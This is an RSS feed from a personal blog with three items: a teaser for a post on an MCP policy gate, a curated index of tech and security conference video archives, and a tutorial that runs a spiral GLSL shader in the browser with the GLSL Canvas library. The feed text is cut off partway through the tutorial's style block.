<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Michael Muratov</title><link>https://michaelmuratov.com/</link><description>Recent content on Michael Muratov</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><atom:link href="https://michaelmuratov.com/index.xml" rel="self" type="application/rss+xml"/><item><title>Setting up and MCP Policy Gate</title><link>https://michaelmuratov.com/blog/artifacts/notes/mcp-policy-gate/</link><pubDate>Thu, 18 Sep 2025 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/notes/mcp-policy-gate/</guid><description>&lt;h3 id="problem-statement"&gt;Problem statement&lt;/h3&gt;
&lt;p&gt;The issue with MCPs at the moment is that a lot of practical design choices still fall on the developer, and that includes some important security decisions. MCP shines at standardizing tool access, but the safety boundary still lives in the host, client, and server implementation. In this post I’m going to use a small TypeScript policy gate as an exercise for thinking through those boundaries. We’ll look at concrete examples of MCP-style tool calls, where they can go wrong, and what kind of checks can catch them before they run.&lt;/p&gt;</description><content:encoded>&lt;h3 id="problem-statement">Problem statement&lt;/h3>
&lt;p>The issue with MCPs at the moment is that a lot of practical design choices still fall on the developer, and that includes some important security decisions. MCP shines at standardizing tool access, but the safety boundary still lives in the host, client, and server implementation. In this post I’m going to use a small TypeScript policy gate as an exercise for thinking through those boundaries. We’ll look at concrete examples of MCP-style tool calls, where they can go wrong, and what kind of checks can catch them before they run.&lt;/p>
</content:encoded></item><item><title>Tech Conference Resources</title><link>https://michaelmuratov.com/blog/artifacts/notes/tech-conference-resources/</link><pubDate>Thu, 18 Sep 2025 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/notes/tech-conference-resources/</guid><description>&lt;p&gt;A curated index of conference video archives by track. Channel links go to the full playlists page; year links go directly to a specific event.&lt;/p&gt;
&lt;p&gt;In 2026 the conferences worth your attention are the ones that answer three questions: where is the hardware going, what are attackers actually doing right now, and where are the hyperscalers taking the default infrastructure stack. The most useful sessions increasingly cut across all three. Most major US conferences offer virtual or on-demand passes at 40–50% of the in-person price; keynotes from AWS, Google, and Microsoft are typically free.&lt;/p&gt;</description><content:encoded><![CDATA[<p>A curated index of conference video archives by track. Channel links go to the full playlists page; year links go directly to a specific event.</p>
<p>In 2026 the conferences worth your attention are the ones that answer three questions: where is the hardware going, what are attackers actually doing right now, and where are the hyperscalers taking the default infrastructure stack. The most useful sessions increasingly cut across all three. Most major US conferences offer virtual or on-demand passes at 40–50% of the in-person price; keynotes from AWS, Google, and Microsoft are typically free.</p>
<hr>
<h3 id="ai--tech">AI &amp; Tech</h3>
<p>In 2026, watch GTC for the inference scaling and edge deployment roadmap. Whatever NVIDIA announces there shows up in production tooling 12–18 months later. At Build, I/O, and DevDay, the signal is agent framework maturity: how much of the scaffolding developers are hand-rolling today is getting absorbed into the platform. The academic conferences (NeurIPS, ICML, ICLR) are a longer time horizon and the papers published there become commercial products in two to three years, worth tracking if you want to get ahead of the next capability wave. Note that their year links go to paper listing pages, not video playlists; recorded talks are on SlidesLive or each conference&rsquo;s virtual portal.</p>
<table>
  <thead>
      <tr>
          <th>Channel</th>
          <th>Conference</th>
          <th>Years</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><a href="https://www.youtube.com/@AppleDeveloper/playlists">Apple</a></td>
          <td>WWDC</td>
          <td><a href="https://developer.apple.com/videos/">2020–2025</a></td>
      </tr>
      <tr>
          <td><a href="https://www.youtube.com/@GoogleDevelopers/playlists">Google</a></td>
          <td>Google I/O</td>
          <td><a href="https://www.youtube.com/playlist?list=PLOU2XLYxmsIJEQRQDtuYKVUmxYvRfWN5m">2025</a> · <a href="https://www.youtube.com/playlist?list=PL590L5WQmH8doPo8OufXavO2Qu4ysZjyl">2024</a></td>
      </tr>
      <tr>
          <td><a href="https://www.youtube.com/channel/UCrhJmfAGQ5K81XQ8_od1iTg/playlists">Microsoft</a></td>
          <td>Build</td>
          <td><a href="https://www.youtube.com/playlist?list=PLlrxD0HtieHgFYS4DKbJ_xCYNE94ZLJjj">2025</a> · <a href="https://www.youtube.com/playlist?list=PLlrxD0HtieHghp_QCcQ2JiTXY3qO9oPDu">2024</a></td>
      </tr>
      <tr>
          <td><a href="https://www.youtube.com/@MetaDevelopers/playlists">Meta</a></td>
          <td>Connect</td>
          <td><a href="https://www.youtube.com/watch?v=EAZe8wDnAOA&amp;list=PLb0IAmt7-GS2cONiFVhtdKWEsyNkF6uUP">2025</a> · <a href="https://www.youtube.com/playlist?list=PLb0IAmt7-GS2bc5R9ZRFLAS78OXU3PJ6p">2024</a></td>
      </tr>
      <tr>
          <td><a href="https://www.youtube.com/@NVIDIADeveloper/playlists">NVIDIA</a></td>
          <td>GTC</td>
          <td><a href="https://www.youtube.com/playlist?list=PLZHnYvH1qtOYKcOvqqLtmfpLntjXc4LqT">2026</a> · <a href="https://www.youtube.com/playlist?list=PL5B692fm6--tCLg1NBPpsFGsIXOGbpVUa">2025</a> · <a href="https://www.youtube.com/playlist?list=PLn3ukorJv4vs_eN9cN8sXg0bq6CkX9lNy">2024</a></td>
      </tr>
      <tr>
          <td><a href="https://www.youtube.com/@OpenAI/playlists">OpenAI</a></td>
          <td>DevDay</td>
          <td><a href="https://www.youtube.com/playlist?list=PLOXw6I10VTv8-mTZk0v7oy1Bxfo3D2K5o">2025</a> · <a href="https://www.youtube.com/playlist?list=PLOXw6I10VTv_o0ZLpFu2IQyQOho1l-v7y">2024</a></td>
      </tr>
      <tr>
          <td><a href="https://www.youtube.com/@BlenderOfficial/featured">Blender</a></td>
          <td>Blender Conference</td>
          <td><a href="https://www.youtube.com/playlist?list=PLa1F2ddGya_8u-HEvmfCVuS_OImW8HaLd">2025</a> · <a href="https://www.youtube.com/playlist?list=PLa1F2ddGya_-Ymw4YlOjqrdQxiRMJql5x">2024</a></td>
      </tr>
      <tr>
          <td><a href="https://www.youtube.com/@NeurIPSConference/playlists">NeurIPS</a></td>
          <td>NeurIPS</td>
          <td><a href="https://slideslive.com/neurips-2025">2025</a> · <a href="https://slideslive.com/neurips-2024">2024</a> · <a href="https://slideslive.com/neurips-2023">2023</a> · <a href="https://slideslive.com/neurips-2022">2022</a> · <a href="https://slideslive.com/neurips-2021">2021</a> · <a href="https://slideslive.com/neurips-2020">2020</a></td>
      </tr>
      <tr>
          <td><a href="https://icml.cc">ICML</a></td>
          <td>ICML</td>
          <td><a href="https://icml.cc/virtual/2025/papers.html">2025</a> · <a href="https://icml.cc/virtual/2024/papers.html">2024</a> · <a href="https://icml.cc/virtual/2023/papers.html">2023</a> · <a href="https://icml.cc/virtual/2022/papers.html">2022</a> · <a href="https://icml.cc/virtual/2021/papers.html">2021</a> · <a href="https://icml.cc/virtual/2020/papers.html">2020</a></td>
      </tr>
      <tr>
          <td><a href="https://iclr.cc">ICLR</a></td>
          <td>ICLR</td>
          <td><a href="https://iclr.cc/virtual/2025/papers.html">2025</a> · <a href="https://iclr.cc/virtual/2024/papers.html">2024</a> · <a href="https://iclr.cc/virtual/2023/papers.html">2023</a> · <a href="https://iclr.cc/virtual/2022/papers.html">2022</a> · <a href="https://iclr.cc/virtual/2021/papers.html">2021</a> · <a href="https://iclr.cc/virtual/2020/papers.html">2020</a></td>
      </tr>
  </tbody>
</table>
<hr>
<h3 id="security">Security</h3>
<p>The sessions most worth your time in 2026 are about what AI is enabling on the offensive side: automated vulnerability discovery, LLM-driven social engineering at scale, and ML-based identity spoofing that bypasses static MFA. The Black Hat Arsenal track is the best early-warning signal showcasing open-source tools that will be repurposed against production systems. If you can&rsquo;t attend in person, the On-Demand pass (~$1,300–$1,800) covers all recorded Briefings about a week post-event. DEF CON has a youtube playlist which is populated after the conference.</p>
<table>
  <thead>
      <tr>
          <th>Channel</th>
          <th>Conference</th>
          <th>Years</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><a href="https://www.youtube.com/@RSAConference/playlists">RSA Conference</a></td>
          <td>RSA Conference</td>
          <td><a href="https://www.youtube.com/playlist?list=PLeUGLKUYzh_j6tll9I__IX6pg4hDZIvSD">2024</a></td>
      </tr>
      <tr>
          <td><a href="https://www.youtube.com/@AWSEventsChannel">AWS</a></td>
          <td>AWS re:Inforce</td>
          <td><a href="https://www.youtube.com/playlist?list=PL2yQDdvlhXf9XkXzO5bXvtMaio6gAcdmN">2025</a> · <a href="https://www.youtube.com/playlist?list=PL2yQDdvlhXf-a63_o1-mAya81ZwuRkmAu">2024</a></td>
      </tr>
      <tr>
          <td><a href="https://www.youtube.com/@BlackHatOfficialYT/playlists">Black Hat</a></td>
          <td>Black Hat USA</td>
          <td><a href="https://www.youtube.com/playlist?list=PLH15HpR5qRsXtV3t9TlkRZBmIfcIC6THE">2025</a> · <a href="https://www.youtube.com/playlist?list=PLH15HpR5qRsUiLYPNSylDvlskvS_RSzee">2024</a></td>
      </tr>
      <tr>
          <td><a href="https://www.youtube.com/@BlackHatOfficialYT/playlists">Black Hat</a></td>
          <td>Black Hat Asia</td>
          <td><a href="https://www.youtube.com/playlist?list=PLH15HpR5qRsWXApxW0vAsRduq9xa3ifCG">2025</a> · <a href="https://www.youtube.com/watch?v=H-7ZNrpsV50&amp;list=PLH15HpR5qRsWJ70J405J7z1GUYPeCBpXy">2024</a></td>
      </tr>
      <tr>
          <td><a href="https://www.youtube.com/@DEFCONConference/videos">DEF CON</a></td>
          <td>DEF CON</td>
          <td><a href="https://www.youtube.com/playlist?list=PL9fPq3eQfaaBB9HANwjaTlKFuVhRxkdz2">2025</a> · <a href="https://www.youtube.com/playlist?list=PLStO1VqVBvmGyghpuCaosPGtrwVy5Fbqi">2024</a></td>
      </tr>
      <tr>
          <td><a href="https://www.youtube.com/@UsenixOrg/playlists">USENIX Security</a></td>
          <td>USENIX Security</td>
          <td><a href="https://www.youtube.com/playlist?list=PLbRoZ5Rrl5ldYBeWL_T1Ei3uefAy1VtNB">2025</a> · <a href="https://www.youtube.com/playlist?list=PLbRoZ5Rrl5ldQ2K_dpmPKHEyRgyf5JSxd">2024</a></td>
      </tr>
      <tr>
          <td><a href="https://www.youtube.com/@SANSInstitute/playlists">SANS Institute</a></td>
          <td>SANS AI Cybersecurity Summit</td>
          <td><a href="https://www.sans.org/cyber-security-training-events/ai-summit-2026">2026</a></td>
      </tr>
  </tbody>
</table>
<hr>
<h3 id="engineering--cloud">Engineering &amp; Cloud</h3>
<p>In 2026 the hyperscaler keynotes are where you calibrate your architecture assumptions, specifically what AWS Bedrock, Google Gemini integrations, and Azure AI are absorbing that developers currently build themselves. The security implications follow directly: whatever gets built into the platform becomes the new baseline that attackers target. The spring window (late April through late May) clusters Google Cloud Next, the SANS AI Summit, and KCD Toronto within roughly six weeks.</p>
<table>
  <thead>
      <tr>
          <th>Channel</th>
          <th>Conference</th>
          <th>Years</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><a href="https://www.youtube.com/@AWSEventsChannel/playlists">AWS</a></td>
          <td>re:Invent</td>
          <td><a href="https://www.youtube.com/playlist?list=PL2yQDdvlhXf9gdFFBcDPUHAJS7kkIkIet">2025</a> · <a href="https://www.youtube.com/playlist?list=PL2yQDdvlhXf_ZsP25dGLTNbrVSphM2JDl">2024</a></td>
      </tr>
      <tr>
          <td><a href="https://www.youtube.com/@googlecloudtech/playlists">Google Cloud</a></td>
          <td>Google Cloud Next</td>
          <td><a href="https://www.youtube.com/playlist?list=PLIivd44G4vL3f30B0dK_Pz1z15J6Yh48H">2025</a> · <a href="https://www.youtube.com/playlist?list=PLIivdWyY5sqLHU6fh9ozZ7mxsj7GcPjRF">2024</a></td>
      </tr>
      <tr>
          <td><a href="https://www.youtube.com/@GitHub/playlists">GitHub</a></td>
          <td>Universe</td>
          <td><a href="https://www.youtube.com/playlist?list=PL0lo9MOBetEFKNlPHNouEmVeYeyoyGTXC">2025</a> · <a href="https://www.youtube.com/playlist?list=PL0lo9MOBetEF_de7yKAWpnMkTsKH6aJ4P">2024</a></td>
      </tr>
      <tr>
          <td><a href="https://www.youtube.com/@DockerInc">Docker</a></td>
          <td>DockerCon</td>
          <td><a href="https://www.youtube.com/playlist?list=PLkA60AVN3hh_t73mQG7RIvvMRTpm1ompt">2023</a></td>
      </tr>
      <tr>
          <td><a href="https://www.youtube.com/@Kubernetesio/playlists">Kubernetes</a></td>
          <td>KubeCon + CloudNativeCon</td>
          <td><a href="https://www.youtube.com/playlist?list=PLj6h78yzYM2Of6psbKjeZxZIHjycSYoYF">2025</a> · <a href="https://www.youtube.com/playlist?list=PLj6h78yzYM2Pw4mRw4S-1p_xLARMqPkA7">2024</a></td>
      </tr>
      <tr>
          <td><a href="https://www.youtube.com/@GOTO-/playlists">GoTo Conference</a></td>
          <td>Top 10</td>
          <td><a href="https://www.youtube.com/playlist?list=PLEx5khR4g7PJ-PseKvyEdYIg3X6xv045b">2024</a></td>
      </tr>
      <tr>
          <td><a href="https://www.youtube.com/@PyConUS/playlists">PyCon US</a></td>
          <td>PyCon US</td>
          <td><a href="https://www.youtube.com/playlist?list=PL2Uw4_HvXqvb98mQjN0-rYQjdDxJ_hcrs">2025</a> · <a href="https://www.youtube.com/playlist?list=PL2Uw4_HvXqvYhjub9bw4uDAmNtprgAvlJ">2024</a> · <a href="https://www.youtube.com/playlist?list=PL2Uw4_HvXqvY2zhJ9AMUa_Z6dtMGF3gtb">2023</a></td>
      </tr>
      <tr>
          <td><a href="https://www.youtube.com/channel/UCrhJmfAGQ5K81XQ8_od1iTg/playlists">Microsoft</a></td>
          <td>Ignite</td>
          <td><a href="https://www.youtube.com/playlist?list=PLQXpv_NQsPIDXiR9PcpggZ34mzko_-12C">2025</a> · <a href="https://www.youtube.com/playlist?list=PLQXpv_NQsPID0sNvENCDMADnd1M5aOfv4">2024</a></td>
      </tr>
      <tr>
          <td><a href="https://www.youtube.com/@Databricks/playlists">Databricks</a></td>
          <td>Data + AI Summit</td>
          <td><a href="https://www.youtube.com/playlist?list=PLTPXxbhUt-YWjDg318nmSxRqTgZHIghTl">2025</a> · <a href="https://www.youtube.com/playlist?list=PLTPXxbhUt-YWjq4SDFS3_x0-x5KVT5GkQ">2024</a></td>
      </tr>
  </tbody>
</table>
<hr>
<h3 id="canada">Canada</h3>
<p>Toronto-accessible events where the value is physical attendance without international travel overhead. SecTor is the largest local conference for security professionals and a good place to learn about how the global threat landscape maps onto the Canadian companies. NorthSec is where you go to actually build offensive skills: the 2026 curriculum includes dedicated AI security training tracks covering practical attack and defense with ML. Video archives for Canadian events are inconsistent; check the channel links after each event.</p>
<table>
  <thead>
      <tr>
          <th>Channel</th>
          <th>Conference</th>
          <th>Years</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><a href="https://www.youtube.com/@BlackHatOfficialYT/playlists">Black Hat</a></td>
          <td>SecTor</td>
          <td><a href="http://www.2024.video.sector.ca/">2024</a> · <a href="http://www.2023.video.sector.ca/">2023</a> · <a href="http://www.2022.video.sector.ca/">2022</a> · <a href="http://www.2021.video.sector.ca/">2021</a> · <a href="http://www.2020.video.sector.ca/">2020</a></td>
      </tr>
      <tr>
          <td><a href="https://nsec.io/">NorthSec</a></td>
          <td>NorthSec</td>
          <td><a href="https://www.youtube.com/playlist?list=PLuUtcRxSUZUrW9scJZqhbiuTBwZBJ-Qic">2025</a></td>
      </tr>
      <tr>
          <td><a href="https://www.cncf.io/">CNCF</a></td>
          <td>KCD Toronto</td>
          <td><a href="https://www.youtube.com/playlist?list=PLj6h78yzYM2MXCOWSN9CqqID6OOvF7wxL">2026</a></td>
      </tr>
  </tbody>
</table>
]]></content:encoded></item><item><title>Shaders in GLSL Canvas</title><link>https://michaelmuratov.com/blog/artifacts/guides/shaders-glsl-canvas/</link><pubDate>Sun, 01 Jun 2025 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/guides/shaders-glsl-canvas/</guid><description>&lt;script src="https://cdn.jsdelivr.net/npm/glslCanvas@0.2.6/dist/GlslCanvas.min.js"&gt;&lt;/script&gt;
&lt;h3 id="glsl-library"&gt;GLSL Library&lt;/h3&gt;
&lt;p&gt;GLSL Canvas is a library that allows you to run GLSL shaders in a web environment. It makes it easy to create interactive graphics and visualizations using shader language inside a canvas element with WebGL.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/patriciogonzalezvivo/glslCanvas"&gt;https://github.com/patriciogonzalezvivo/glslCanvas&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt; &lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;https://cdn.jsdelivr.net/npm/glslCanvas@0.2.6/dist/GlslCanvas.min.js&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="err"&gt;/script&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="shadertoy---glsl-canvas"&gt;ShaderToy -&amp;gt; GLSL Canvas&lt;/h3&gt;
&lt;p&gt;The original shader we&amp;rsquo;ll be using was written for ShaderToy, which uses a specific set of uniforms and functions. In GLSL Canvas, we need to adapt the code to use the &lt;code&gt;u_time&lt;/code&gt; and &lt;code&gt;u_resolution&lt;/code&gt; uniforms provided by the library. The main function will also be adjusted to fit the GLSL Canvas structure.&lt;/p&gt;</description><content:encoded><![CDATA[<script src="https://cdn.jsdelivr.net/npm/glslCanvas@0.2.6/dist/GlslCanvas.min.js"></script>

<h3 id="glsl-library">GLSL Library</h3>
<p>GLSL Canvas is a library that allows you to run GLSL shaders in a web environment. It makes it easy to create interactive graphics and visualizations using shader language inside a canvas element with WebGL.</p>
<p><a href="https://github.com/patriciogonzalezvivo/glslCanvas">https://github.com/patriciogonzalezvivo/glslCanvas</a></p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">&lt;</span><span class="nx">script</span> <span class="nx">src</span><span class="o">=</span><span class="s2">&#34;https://cdn.jsdelivr.net/npm/glslCanvas@0.2.6/dist/GlslCanvas.min.js&#34;</span><span class="o">&gt;&lt;</span><span class="err">/script&gt;</span></span></span></code></pre></div>
<h3 id="shadertoy---glsl-canvas">ShaderToy -&gt; GLSL Canvas</h3>
<p>The original shader we&rsquo;ll be using was written for ShaderToy, which uses a specific set of uniforms and functions. In GLSL Canvas, we need to adapt the code to use the <code>u_time</code> and <code>u_resolution</code> uniforms provided by the library. The main function will also be adjusted to fit the GLSL Canvas structure.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-glsl" data-lang="glsl"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#define iTime u_time</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="cp">#define iResolution vec3(u_resolution, 1.0)</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="k">uniform</span> <span class="k">float</span> <span class="n">u_time</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="k">uniform</span> <span class="k">vec2</span> <span class="n">u_resolution</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="c1">//Shadertoy fragment shader main function</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="k">void</span> <span class="n">mainImage</span><span class="p">(</span> <span class="k">out</span> <span class="k">vec4</span> <span class="n">fragColor</span><span class="p">,</span> <span class="k">in</span> <span class="k">vec2</span> <span class="n">fragCoord</span> <span class="p">);</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="c1">//GLSL Canvas main function</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="k">void</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="k">vec4</span> <span class="n">color</span> <span class="o">=</span> <span class="k">vec4</span><span class="p">(</span><span class="mf">0.0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="n">mainImage</span><span class="p">(</span><span class="n">color</span><span class="p">,</span> <span class="n">gl_FragCoord</span><span class="p">.</span><span class="n">xy</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="n">gl_FragColor</span> <span class="o">=</span> <span class="n">color</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="p">}</span></span></span></code></pre></div>
<h3 id="html-setup">HTML Setup</h3>
<p>To use GLSL Canvas, you need to include the library in your HTML file and create a canvas element where the shader will be rendered. Here&rsquo;s a simple setup:</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="p">&lt;</span><span class="nt">script</span> <span class="na">src</span><span class="o">=</span><span class="s">&#34;https://cdn.jsdelivr.net/npm/glslCanvas@0.2.6/dist/GlslCanvas.min.js&#34;</span><span class="p">&gt;&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="p">&lt;</span><span class="nt">textarea</span> <span class="na">id</span><span class="o">=</span><span class="s">&#34;shaderEditor&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    {{ GLSL shader code here }}
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="p">&lt;/</span><span class="nt">textarea</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="p">&lt;</span><span class="nt">canvas</span> <span class="na">id</span><span class="o">=</span><span class="s">&#34;shaderCanvas&#34;</span> <span class="na">style</span><span class="o">=</span><span class="s">&#34;display:block; width:100%; height:500px;&#34;</span><span class="p">&gt;&lt;/</span><span class="nt">canvas</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="kr">const</span> <span class="nx">canvas</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&#34;shaderCanvas&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="kr">const</span> <span class="nx">sandbox</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">GlslCanvas</span><span class="p">(</span><span class="nx">canvas</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="kr">const</span> <span class="nx">editor</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&#34;shaderEditor&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="kd">function</span> <span class="nx">resizeCanvasToCSSSize</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="kr">const</span> <span class="nx">displayWidth</span> <span class="o">=</span> <span class="nx">canvas</span><span class="p">.</span><span class="nx">clientWidth</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="kr">const</span> <span class="nx">displayHeight</span> <span class="o">=</span> <span class="nx">canvas</span><span class="p">.</span><span class="nx">clientHeight</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="c1">// Only update if size changed
</span></span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">canvas</span><span class="p">.</span><span class="nx">width</span> <span class="o">!==</span> <span class="nx">displayWidth</span> <span class="o">||</span> <span class="nx">canvas</span><span class="p">.</span><span class="nx">height</span> <span class="o">!==</span> <span class="nx">displayHeight</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">      <span class="nx">canvas</span><span class="p">.</span><span class="nx">width</span> <span class="o">=</span> <span class="nx">displayWidth</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">      <span class="nx">canvas</span><span class="p">.</span><span class="nx">height</span> <span class="o">=</span> <span class="nx">displayHeight</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="c1">// Resize initially and on window resize
</span></span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="nx">resizeCanvasToCSSSize</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="nx">sandbox</span><span class="p">.</span><span class="nx">load</span><span class="p">(</span><span class="nx">editor</span><span class="p">.</span><span class="nx">value</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="nx">editor</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="s2">&#34;input&#34;</span><span class="p">,</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">    <span class="nx">sandbox</span><span class="p">.</span><span class="nx">load</span><span class="p">(</span><span class="nx">editor</span><span class="p">.</span><span class="nx">value</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span></span></span></code></pre></div>
<h3 id="shader-spiral">Shader: Spiral</h3>
<p>You can edit the values in the textarea below to see how they affect the shader in real-time. The shader creates a colorful spiral effect that changes over time.</p>
<p>I recomend focusing on the <code>width</code>, <code>dis</code>, <code>blur</code>, <code>rep</code>, <code>mul</code>, and <code>ex</code> variables to see how they affect the spiral&rsquo;s appearance.</p>
<p>The <code>points</code> variable controls the number of points in the spiral.</p>
<textarea id="shaderEditor" width="100%" rows="10" cols="60" color="white" style="width: 100%; height: 500px; font-family: monospace; font-size: 0.82rem; background-color: #222; color: #fff; border: none; padding: 10px; resize: vertical;">
    
#ifdef GL_ES
precision mediump float;
#endif

#define iTime u_time
#define iResolution vec3(u_resolution, 1.0)
#define pallet(d) mix(vec3(0.2,0.7,0.9),vec3(1.,0.,1.),d)

uniform float u_time;
uniform vec2 u_resolution;

float width = 0.1;
float dis = 0.5;
float blur = 0.7;
float rep = 1.0;
float mul = 0.15;
float ex = 1.0;
float points = 5.0;

#define PI 3.14159
#define e  2.71828

// Radial UV from https://www.shadertoy.com/view/XdXXzf
vec2 radialUV(in vec2 uv)
{
    vec2 rUV = vec2(0.0);
    rUV.x = atan(uv.x, uv.y) * 0.159 &#43; 0.5;
    rUV.y = length(uv) * 0.6;
    
    return rUV * 2.0;
}

vec2 rotUV(in vec2 uv, in float angle) {
    float ru = uv.x*cos(angle) - uv.y*sin(angle);
    float rv = uv.x*sin(angle) &#43; uv.y*cos(angle);
    return vec2(ru, rv);
}

float timeCycle(float a, float m) {
    return sin((iTime &#43; a)*m);
}

float timeCycle01(float a, float m, float s) {
    return max((sin((iTime &#43; a)*m) &#43; 1.0)*0.5, s);
}

void mainImage( out vec4 fragColor, in vec2 fragCoord )
{
    vec2 uv  = (fragCoord-0.5*iResolution.xy)/iResolution.y;
    uv = rotUV(uv, -0.5*iTime);
    vec2 ruv = radialUV(uv);
    
    mul &#43;= timeCycle(0.0, 0.5) * 0.1;
    rep &#43;= timeCycle(1.5, 0.3) * 0.03;
    ex &#43;= timeCycle(0.3, 0.2) * 0.4; 
    width -= timeCycle01(0.5, 0.33, 0.0) * 0.05;

    float l = length(uv);
    float distIncrease = pow(distance(ruv.y, 0.0), ex) * mul;
    l &#43;= sin(ruv.x*(PI&#43;0.003)*points) * distIncrease;
   
    
    // Spiral based on https://www.shadertoy.com/view/WtjSWt
    float angle = atan(uv.y, uv.x);
    float offset = (log(l) / log(e*PI*rep) &#43; (angle / (2.0*PI)) * dis);
    float spiral = mod(offset - 0.5*iTime, dis);
    
    width *= pow(1.33-distance(ruv.y, 0.0), 4.0);
    float spiralR = smoothstep(spiral - blur*0.3, spiral, width) &#43; 
                    smoothstep(1.0-spiral - blur, 1.0-spiral, width);
             
    float spiralG = smoothstep(spiral - blur*timeCycle01(0.0, 0.33, 0.5), spiral, width) &#43; 
                    smoothstep(1.0-spiral - blur*timeCycle01(PI, 0.2, 0.5), 1.0-spiral, width);
             
    float spiralB = smoothstep(spiral - blur, spiral, width) &#43; 
                    smoothstep(1.0-spiral - blur*0.3, 1.0-spiral, width);
    
    vec3 col = vec3(spiralR, spiralG, spiralB);
    fragColor = vec4(col, 1.0);
}

void main() {
    vec4 color = vec4(0.0);
    mainImage(color, gl_FragCoord.xy);
    gl_FragColor = color;
}

</textarea>

<style>
    .grid-container {
      display: grid;
      grid-template-columns: repeat(2, 1fr);
